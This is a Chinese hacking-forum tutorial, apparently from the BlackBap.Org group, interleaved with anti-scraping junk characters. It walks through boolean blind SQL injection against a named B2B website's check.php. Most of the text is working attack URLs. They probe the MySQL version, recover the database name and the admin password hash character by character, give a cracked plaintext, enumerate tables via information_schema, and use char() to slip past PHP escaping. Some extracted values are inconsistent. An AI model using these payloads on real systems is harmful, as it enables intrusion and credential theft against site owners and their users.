|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
) S. ^: ~7 L8 [% A) \2 Q- W9 e阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
( [' O4 ~3 s& X1 i7 n: j! v作者:YoCo Smart
. g* a1 Z, c, Z" Z/ K! k7 w5 w6 B来自:习科信息技术 - http://BlackBap.Org
9 g( p2 c0 F6 O1 V9 ]& h- Q我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
6 x" F/ t% w e6 g# Q" d
) k) m/ J0 o; U) }. u" a1 h复制代码+ b& U: Z$ G6 L4 T1 |! @
错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }$ ]" [0 s1 O/ ]9 l" D
) u" \0 ^& B. G5 ?: i- p) [8 s复制代码, H; R* ?, R5 f" F% L4 }% x
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
0 d; y3 a" t( t# `! y% B/ u那么我们先从union的盲注来看吧。
& S5 n' w- e6 n6 e5 U {9 t' X' M先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
5 L0 r1 A, P- m$ J1 E7 g , _% O. Q- c5 }3 {* u* ~
复制代码, Q: O3 o% a" [$ F
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'$ X( Y8 o# i# ^3 |
0 `% j3 ~* ^, q9 r6 U
复制代码
. @& r4 V6 I; @- B5 `' ^; d因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
8 [6 H/ F; A4 R5 H) p3 z再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
1 Q" r8 ~- y( P1 M' ?: @ + M {5 O, w7 J: u" ^
复制代码
3 O& o1 R6 { Dlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
) ?& ]& \+ G# ?. y0 O9 `0 G: }2 x这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
$ K* a/ Z# o' M) a; C6 j+ O' x再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#' b; R G4 V3 p- p& g
$ O- q; g1 Z& S* V& j$ ?( a8 C复制代码/ @6 k$ |0 P, t5 i
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。- i3 E/ s) y& s" W* {, J
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句( ~: o7 j1 {* N+ r) Z8 l* }* ^- I
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly7 Z3 |. j' n2 r
+ b( R6 p0 u4 E6 J复制代码
+ s) e+ C1 F3 l- k( A) ?- u这样,猜数据的方法你肯定是懂了 `: W2 i7 n7 |
( R! C X; n3 @: T
2 T& v6 ^ K7 t9 Q! T0 b7 y最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
2 _- [0 t) p0 u! B" }/ p
# L9 E/ Z( g+ c3 [1 [复制代码
6 {- O5 R" q# U% |" F+ D# `+ {实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
& J* ]$ c' J9 i. L8 g/ m% v. i! s 1 M `( {6 z7 j& v
复制代码& R0 ~0 u0 d; f* G: @
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。& Q7 i- K) V; V7 P) d
关于limit x,y 的用法,可以参考MySQL手册
9 [) K" X1 p/ C. V6 t% n
8 _% v) `1 W8 C; _3 P最后剩下的要说的就是ascii函数和hex函数了
1 U" ` i% G& b3 F1 T a5 w9 K$ j这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#2 O; K5 w! J! ?1 n1 i
3 R; U n5 ?6 ~" y1 M
复制代码) Z" M3 B# C% _: k
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|